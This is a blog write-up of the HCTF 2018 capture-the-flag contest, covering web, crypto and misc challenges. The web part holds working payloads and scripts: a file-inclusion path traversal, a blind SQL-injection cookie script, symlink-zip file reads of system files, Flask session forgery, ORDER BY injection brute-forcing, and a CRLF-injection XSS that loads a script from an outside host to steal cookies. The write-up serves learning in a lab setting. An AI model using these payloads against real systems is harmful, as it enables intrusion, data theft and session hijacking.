HCTF2018-WP

前言

参加HCTF,但是熬了两天也没什么输出==、真的体会到和真正的大佬之间的差距,在强大的表哥的带领下取得12名的成绩,我感觉还是很不错。只可惜还进不了决赛、、、

Web

Warmup

一个CVE

参考CVE-2018-12613 PHPMYADMIN后台文件包含分析

payload

http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../ffffllllaaaagggg

http://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../../../../ffffllllaaaagggg

kzone

www.zip有源码泄露

审计源码发现admin/login.php 直接在登录页面想利用SQL注入,发现是有过滤的。

但是在include/member.php中发现

也就是说 Cookie中存在SQL注入,且无过滤,有一个json_decode,需要用json方式传入Cookie,然后cookie注入

但是测试union注入和报错注入都不行,应该是只能时间盲注,并且需要利用Unicode绕过,jsondecode可以直接解Unicode。

payload

Cookie: islogin=1;login_data={"admin_user":"\u0061\u0064\u006d\u0069\u006e\u0027\u0020\u0061\u006e\u0064\u0020\u0069\u0066\u0028\u0028\u0073\u0075\u0062\u0073\u0074\u0072\u0028\u0028\u0064\u0061\u0074\u0061\u0062\u0061\u0073\u0065\u0028\u0029\u0029\u002c\u0031\u002c\u0031\u0029\u003d\u0027\u0068\u0027\u0029\u002c\u0073\u006c\u0065\u0065\u0070\u0028\u0035\u0029\u002c\u0031\u0029\u0023","admin_password":"123"}

小脚本写一写:

import requests
import re
import string
import time
def unicode(s):
unis = ''
for i in s:
unis += '\u00'+i.encode("hex")
return unis

url = "http://kzone.2018.hctf.io/admin/index.php"

cookies = {
"islogin":"1",
"login_data":'{"admin_user":"admin","admin_pass":true}'
}
dic = string.letters + string.digits + "{},-_"
flag = ''
for i in range(1,40):
for c in dic:
#payload = "admin' and if((substr((database()),%d,1)='%s'),sleep(5),1)#" %(i,c)
#payload = "admin' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'),sleep(5),1)#" % (i,c)
#payload = "admin' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='F1444g'),%d,1)='%s'),sleep(5),1)#" % (i,c)
payload = "admin' and if((substr((select binary F1a9 from F1444g),%d,1)='%s'),sleep(5),1)#" % (i,c)
#print payload
payload = unicode(payload)
cookies = {
"islogin":"1",
"login_data":'{"admin_user":"'+payload+'","admin_pass":true}'
}
time_start = time.time()
content = requests.get(url=url,cookies=cookies).content
time_end = time.time()
#print time_end - time_start
if time_end - time_start >= 5:
flag += c
print flag
break

'''
DBname: hctfkouzone
TBname: F1444g,fish_admin,fish_ip,fish_user,fis
Colname: F1a9
DumpData:
flag: hctf{4526a8cbd741b3f790f95ad32c2514b9}
'''

admin

出题人意图不难揣测,以admin身份登录系统就行。

但是一开始没找到源码,费了很多功夫才在github上找到源码

app/routes.py里面看到了这个:

@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data) # 第一次strlower()
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
...
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data) # 第二次时strlower()
session['name'] = name
user = User.query.filter_by(username=name).first()
...
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name']) # 第三次strlower()
user = User.query.filter_by(username=name).first()

代码中共出现三次strlower函数

跟进,看看这个函数是怎么写的:

def strlower(username):
username = nodeprep.prepare(username)
return username

搜索这个函数,找到参考文档

参考Unicode安全

这个函数会把大写转换为小写,把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子

BIG会被转换为big, ƁƗƓ会被转换为ɓɨɠ

他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个ᴬᴬᴬ,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改

于是思路也就有了:

  1. 注册ᴬdmin
  2. 登录ᴬdmin, 会触发第二次转换,但是因为以ᴬdmin登录,所以会变成Admin
  3. 再改密码,会触发第三次的转换Admin会变成admin,所以其实这里修改的是admin的密码
  4. 再以admin的身份登录就行了。

hideandseek

思路:

  1. 上传shell的zip,phar://读 发现不行,事实上网站是flask搭建的
  2. 上传软链接的zip,因为会自动unzip,然后可以软链接读文件

发现思路2可行,并且很容易读文件,如/etc/passwd

ln -si /etc/passwd link
zip --symlinks test.zip link

但是在读文件的时候发现了问题,不是在默认的路径/var/www/html/app/*.py

于是尝试读配置文件和log,但是发现环境access.log和error.log读取时发生超时错误

最终在/proc/self/environ读到了有效信息

ln -si /proc/self/environ env
zip --symlinks env.zip env

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=92739130567fSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

之后又在/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini中读取到

[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

于是得到结论:源码在/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

ln -si /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip --symlinks main.zip main
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

拿到源码,关键的几行在

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

也就是说SECRET_KEY是利用mac地址作为随机数种子的,是可以预测生成随机数的序列的,但是需要知道python版本号。

ln -s /app/main.py 1.txt
zip -y 1.zip 1.txt

读取到相关信息

from flask import Flask 
app = Flask(__name__)

@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \ Python 3.6 (default)"

if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)

py3.6

于是可以伪造session

对于uuid.getnode()
同样方式读取/sys/class/net/eth0/address
得到

12:34:3e:14:7c:62

计算十进制:20015589129314
用python3.6去看一下随机数

>>> import random
>>> random.seed(20015589129314)
>>> print(str(random.random()*100))
11.935137566861131

得到secret_key=11.935137566861131

本地搭建一个环境,用于生成session

#encoding: utf-8

from flask import *
app = Flask(__name__)
app.config['SECRET_KEY'] = "11.935137566861131"

#登录&注册页面
@app.route("/",methods=['GET','POST'])
def login():
session['username'] = u'admin'
return 'aa'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

得到伪造的session

eyJ1c2VybmFtZSI6ImFkbWluIn0.DsqsZg.BfDKFJ-Mb6MqAvozONjnbKlUM4c

bottle

submit url 容易想到CSRF或者SSRF之类的攻击,测试发现有一个302跳转(/path?path=)

思路还是CSRF+XSS 打cookie

学习p牛的文章Bottle HTTP 头注入漏洞探究

发现可以通过CRLF挤掉CSP构造xss打回cookie来

需要设置X-XSS-ProtectContent-Length,但是,后来测试不加似乎也是可以的。。。

我是使用XSS平台的,payload

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src=http://xsspt.com/XXXXXX%3E%3C/script%3E

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0a%0d%0a%3Cscript%20src=http://xsspt.com/XXXXXXX%3E%3C/script%3E

容易得到cookie,将cookie设置一下,再次访问题目链接,得到flag

bottle.session=b0ddffbc22e34e7fb49d460d9512c69c

Game

数据量太大了,加载的时候,我还以为是延时注入成功了==、

其实本题是考察OrderBy注入,可惜的是,明明还看过OrderBy注入,却没想到==、

学习了。


OrderBy注入原理可以参考p0神博客

直接打开flag文件,提示说只有admin用户才能打开。

于是我们可以利用SQL注入来获取admin用户的密码,从而读取flag文件。

注册新用户,密码逐位逐位与admin的密码比较,最后得到admin的密码,密码这样可以按照密码进行排序,比如注册个密码为d的用户,然后登陆后用password排序

http://game.2018.hctf.io/web2/user.php?order=password

发现注册的用户在admin上面,说明admin密码第一位password[0] >= 'd'

同理,注册密码为e的用户,测试发现注册用户在admin下方,于是admin密码第一位password[0] < 'e'

于是可以得到结论 password[0] == 'd'

不断注册新用户,便可以逐位爆破出admin密码

附上脚本:

import requests
import string
import re

def reg(username,password):
url = "http://game.2018.hctf.io/web2/action.php?action=reg"
data = {
"username":username,
"password":password,
"sex":1,
"submit":"submit"
}
content = requests.post(url=url,data=data).content
print content

login_url = "http://game.2018.hctf.io/web2/action.php?action=login"
ss = "-/123456789"+string.lowercase
flag = ''
for i in range(32):
for j in range(33,126):
username = "v0w0012112nkakab"+str(i) +"zssugar"+str(j)
password = flag + chr(j)
# print username,password
reg(username,password)
data = {
"username":username,
"password":str(password),
"submit":"submit"
}
# print data
req = requests.session()
content = req.post(url=login_url,data=data).content
#print content
order_url = "http://game.2018.hctf.io/web2/user.php?order=password"
content = req.get(url=order_url).content
#print content
tmp = re.findall(r'%s[.\s\S]+?<td>\s*1\s*</td>\s*<td>\s*admin\s*</td>'%username,content,re.S)
if tmp:
flag = flag + chr(j-1)
print flag
break

最后跑出了密码:

dSa8&&!@#$%^&d1nGy1aS3dja

然后读取flag

hctf{this_idea_h1t_me_whil3_I_am_W3rking}

Crypto

xor?rsa

nbits = size(n)
kbits = nbits // (2 * e * e)
m1 = getRandomNBitInteger(nbits)
m2 = m1 ^ getRandomNBitInteger(kbits)

padding 长度为 nbits/e^2,长度过短 会造成短填充攻击

可以求得m1-m2的差值diff

知道c1、c2、diff、e、n可以进行相关信息攻击

得到m1,m2发送过去即可得到flag。

#short_pad_attack
import binascii

def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

g1 = x^e - c1
g2 = (x+y)^e - c2

q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)

h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()

kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5

return diff

def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()

return -gcd(g1, g2)[0]

if __name__ == '__main__':
n = 27325117725066040425607261774702361305480031598260844657255259687949217947185875178414548742392020321812299436880101297227536559351730987915023996386949560743215563482065620796558339146309680837896911726355137737632498099719814507374535188668253558193836192571274971401444835848784952120830068942707870865057672494962150591569745891058420271040371596557379014064434807827018829839225991842910855143477861477983283840739861588719497836896794690605981838804564450022566211353870681343247472863651535379377939787977703685860325769265931265226619644497391491291527800611615877993682121665020799611215291015673668800698047
e = 5

nbits = n.nbits()
kbits = nbits//(2*e*e)
print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits)

# ^^ = bit-wise XOR
#m1 = randrange(2^nbits)
#m2 = m1 ^^ randrange(2^kbits)
#c1 = pow(m1, e, n)
#c2 = pow(m2, e, n)
c1 = 11146034647280413317443457623961239386839900851075033268495975097708099527017335893963808711594413240859252161601911195036434302423516981466705590143210837021632070692393449550584035345686324553211866055113228844210586772947411150216954229676034855823178188075496107807422868588742623940922760678808366543964733293726627911767243105246511250395661759753616263358374760407323735205233663336331991977749138009890575029063032763890464116037245275157079519540406571208629258706809359182978155122176341736830080587038326813241565093027445769495005048088248614564197179762009363506397136188047072831062771044194671584000093
c2 = 1206394889096499960081166011318481718487253865371591152275319942955987797889761136562701508553079502547193102588852377842551044867961440512715093383379196683866396069689611910096194350083404638346362642034206212849366833513854922022537854397304980423004330041027521742652293082886524946291846011200632987593435588619763971528985802898982891100146430607274314417600181969864547689720620303929732924061673055082880492983474112109999173957339098639555381626435870355703616291445746057601759611370928227297606247782969343337389538257681315001213167257800476196167120597495582636973391942846610897276862327699998885589310

diff = short_pad_attack(c1, c2, e, n)
print "difference of two messages is %d" % diff

#print m1
m1 = related_message_attack(c1, c2, diff, e, n)
print "m1 = ": m1
print "m2 = ": m1 + diff

20181111154194557071025.jpg

xor_game

AlexCTF 2017 : crypto100-many_time_secrets

参考小记一类ctf密码题解题思路

import base64
import string

def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])


def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits


def break_single_key_xor(text):
key = 0
possible_space=0
max_possible=0
letters = string.ascii_letters.encode('ascii')
for a in range(0, len(text)):
maxpossible = 0
for b in range(0, len(text)):
if(a == b):
continue
c = text[a] ^ text[b]
if c not in letters and c != 0:
continue
maxpossible += 1
if maxpossible>max_possible:
max_possible=maxpossible
possible_space=a
key = text[possible_space]^ 0x20
return chr(key)


text = ''
with open("cipher.txt","r") as f:
for line in f:
text += line
b = base64.b64decode(text)


normalized_distances = []


for KEYSIZE in range(2, 40):
#我们取其中前6段计算平局汉明距离
b1 = b[: KEYSIZE]
b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE * 2: KEYSIZE * 3]
b4 = b[KEYSIZE * 3: KEYSIZE * 4]
b5 = b[KEYSIZE * 4: KEYSIZE * 5]
b6 = b[KEYSIZE * 5: KEYSIZE * 6]

normalized_distance = float(
hamming_distance(b1, b2) +
hamming_distance(b2, b3) +
hamming_distance(b3, b4) +
hamming_distance(b4, b5) +
hamming_distance(b5, b6)
) / (KEYSIZE * 5)
normalized_distances.append(
(KEYSIZE, normalized_distance)
)
normalized_distances = sorted(normalized_distances,key=lambda x:x[1])


for KEYSIZE,_ in normalized_distances[:5]:
block_bytes = [[] for _ in range(KEYSIZE)]
for i, byte in enumerate(b):
block_bytes[i % KEYSIZE].append(byte)
keys = ''
try:
for bbytes in block_bytes:
keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(b), "utf-8")
plaintext = bxor(b, key)
print("keysize:", KEYSIZE)
print("key is:", keys, "n")
s = bytes.decode(plaintext)
print(s)
except Exception:
continue

Misc

Easy_dump

参考链接

  1. volatility查看信息和进程情况

    root@kali:~/Desktop# volatility -f mem.data imageinfo

    root@kali:~/Desktop# volatility -f mem.data --profile=Win7SP1x64 pslist

一开始,看了看notepad和explorer,但是没有什么发现,于是重点放在了mspaint上面。

首先,将其数据取出:

root@kali:~/Desktop# volatility -f mem.data --profile=Win7SP1x64 memdump -p 2768 -D ~/Desktop/mem
# 之后为了方便在gimp中打开,将*.dmp 复制为 *.data
root@kali:~/Desktop/mem# cat 2768.dmp > 2768.data
  1. 利用gimp修复图像数据

    gimp下载地址

    以data形式打开刚才dump出来的数据。

    调整偏移量来获取更多信息:

    在偏移字段上按住向上箭头一段时间之后,我扩展了窗口并稍微修改了宽度以适应更多的屏幕,然后开始拖动偏移指针以寻找任何interesting的东西。最后幸运的是我找到了一些东西,在进一步调整宽度之后我找到了下面显示的标志。

    不难看出,这是提示,flag应该就在稍上面一些的位置。于是继续调整,得到以下数据截图

  2. 在PS中调整上述图片,容易得到flag

    hctf{big_brother_is _watching_you}

difficult programming language

首先很明显,是一个USB数据包,常规操作来提取一下。

这里我本来使用王一航表哥的脚本,但是发现有问题!!!(此处轻声批评一下王一航表哥)部分keyboard对应关系不正确。

于是改了改表哥的脚本,能用了

#!/usr/bin/env python
# env:kali
# yihangwang use some wrong keypad-mapping like(shitfKeys[0x33]=':' but he made it error)
# also 0rz
import sys
import os

DataFileName = "usb.dat"

presses = []

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"`","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":":","34":"\"","35":"~","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

def main():
# check argv
if len(sys.argv) != 2:
print "Usage : "
print " python UsbKeyboardHacker.py data.pcap"
print "Tips : "
print " To use this python script , you must install the tshark first."
print " You can use `sudo apt-get install tshark` to install it"
print "Author : "
print " WangYihang <wangyihanger@gmail.com>"
print " If you have any questions , please contact me by email."
print " Thank you for using."
exit(1)

# get argv
pcapFilePath = sys.argv[1]

# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))

# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
Bytes = press.split(":")
if Bytes[0] == "00":
if Bytes[2] != "00":
result += normalKeys[Bytes[2]]
elif Bytes[0] == "02": # shift key is pressed.(error: 20)
if Bytes[2] != "00":
result += shiftKeys[Bytes[2]]
else:
print "[-] Unknow Key : %s" % (Bytes[0])
print "[+] Found : %s" % (result)

# clean the temp data
os.system("rm ./%s" % (DataFileName))


if __name__ == "__main__":
main()

得到结果

D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~

看上去,像是一堆乱码,于是联系difficult programming language我搜索得到malbolge这种非常像乱码的变成语言。

于是找到一个在线编译网站Malbolge - interpreter online

并且在上面运行前面得到的代码,运行出来就得到flag了。

hctf{m4lb0lGe}

后记

本次比赛让我了解到还有很多东西没有接触过或者没有完全弄懂,也有很多可惜之处、、、比如说Orderby注入,我是看过的,但是当时就是想不到,类似的例子还很多、、、

接下来的话,可能还是要继续努力啊、、现在还是菜的一批。

参考文档

hideandseek

软链接

uuid 和 getnode()

flask session

bootle

Bottle HTTP 头注入漏洞探究

新浪某站CRLF Injection导致的安全问题

Game

orderby 盲注

admin

Unicode安全

文章作者: V0WKeep3r
文章链接: http://v0w.top/2018/11/12/HCTF-WP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏